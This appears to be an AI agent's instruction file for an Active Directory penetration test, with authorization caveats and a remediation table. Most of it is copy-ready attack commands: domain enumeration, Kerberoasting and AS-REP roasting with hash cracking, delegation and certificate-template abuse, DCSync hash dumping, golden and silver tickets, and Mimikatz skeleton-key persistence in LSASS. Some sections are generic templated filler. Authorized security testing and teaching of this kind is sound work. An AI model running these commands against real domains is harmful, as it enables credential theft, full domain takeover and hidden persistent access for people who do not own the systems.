Performing Active Directory Penetration Test
Overview
Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.
When to Use
Trigger phrases:
"performing active directory penetration test"
"Conduct a focused Active Directory penetration test to enumerate domain objects,"
When conducting security assessments that involve performing active directory penetration test
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
- Standard domain user credentials (minimum starting point)
- Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
- Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz
- Kali Linux or Windows attack machine with domain access
Phase 1 — AD Enumeration
This section covers phase 1 — ad enumeration for performing active directory penetration test.
- Ensure all prerequisites are met before proceeding
- Follow the documented workflow steps in sequence
- Record results and any anomalies encountered during this phase
Domain Information Gathering
# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
BloodHound Attack Path Analysis
# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox
# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin
Service Account Discovery
# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
Phase 2 — Kerberos Attacks
This section covers phase 2 — kerberos attacks for performing active directory penetration test.
- Ensure all prerequisites are met before proceeding
- Follow the documented workflow steps in sequence
- Record results and any anomalies encountered during this phase
Kerberoasting
# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
AS-REP Roasting
# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberos Delegation Attacks
# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
-dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass
# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
-computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
-dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
-impersonate administrator -dc-ip 10.0.0.5
Phase 3 — ADCS (Active Directory Certificate Services) Attacks
# Enumerate ADCS with Certipy
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
-vulnerable -stdout
# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template VulnerableWebServer -upn administrator@corp.local
# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above
# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template User -upn administrator@corp.local
# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
-template DomainController
Phase 4 — Domain Privilege Escalation
This section covers phase 4 — domain privilege escalation for performing active directory penetration test.
- Ensure all prerequisites are met before proceeding
- Follow the documented workflow steps in sequence
- Record results and any anomalies encountered during this phase
DCSync Attack
# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc
# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
-just-dc-user krbtgt
# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
Golden Ticket
# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
-domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass
# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<hash> /ptt
Silver Ticket
# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass
Phase 5 — Persistence Demonstration
# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password
# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes
# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history
# Document all persistence mechanisms and clean up after testing
Findings and Remediation
| Finding | CVSS | Remediation |
|---|---|---|
| Kerberoastable accounts with weak passwords | 7.5 | Use gMSA, enforce 25+ char passwords for service accounts |
| Unconstrained delegation on servers | 8.1 | Remove unconstrained delegation, use constrained or RBCD |
| Vulnerable ADCS templates (ESC1-ESC8) | 9.8 | Audit templates, remove dangerous permissions, require approval |
| DCSync permissions on non-DA accounts | 9.8 | Audit replication rights, implement tiered admin model |
| LLMNR/NBT-NS enabled | 8.1 | Disable via GPO |
| No LAPS deployed | 7.2 | Deploy Windows LAPS for local admin management |
| Weak domain password policy | 6.5 | Enforce 14+ chars, implement fine-grained password policies |
When NOT to Use
- You don't have explicit written authorization to test
- Task is about defense/detection, not offense (use detection skills)
- You need to implement security controls (use implementing-* skills)
- Task requires compliance auditing (use auditing-* skills)
- You're investigating an incident (use incident response skills)
- Target is out of scope for your engagement
- Task is about vulnerability scanning only (use scanning tools)
Red Flags
- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Exceeding the authorized scope of the engagement
- Leaving persistent access mechanisms without explicit approval
- Causing denial-of-service on production systems during testing
Verification
- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- All exploited vulnerabilities documented with reproduction steps
- Scope boundaries confirmed — only authorized targets were tested
- Remediation recommendations included for every finding
References
- BloodHound: https://github.com/BloodHoundAD/BloodHound
- Impacket: https://github.com/fortra/impacket
- Certipy: https://github.com/ly4k/Certipy
- HackTricks AD: https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
- SpecterOps AD Security: https://specterops.io/blog/
- MITRE ATT&CK: https://attack.mitre.org/
Process
- Analyze the task requirements
- Apply domain expertise
- Verify output quality
Anti-Rationalization Table
| Rationalization | Reality |
|---|---|
| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |
| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |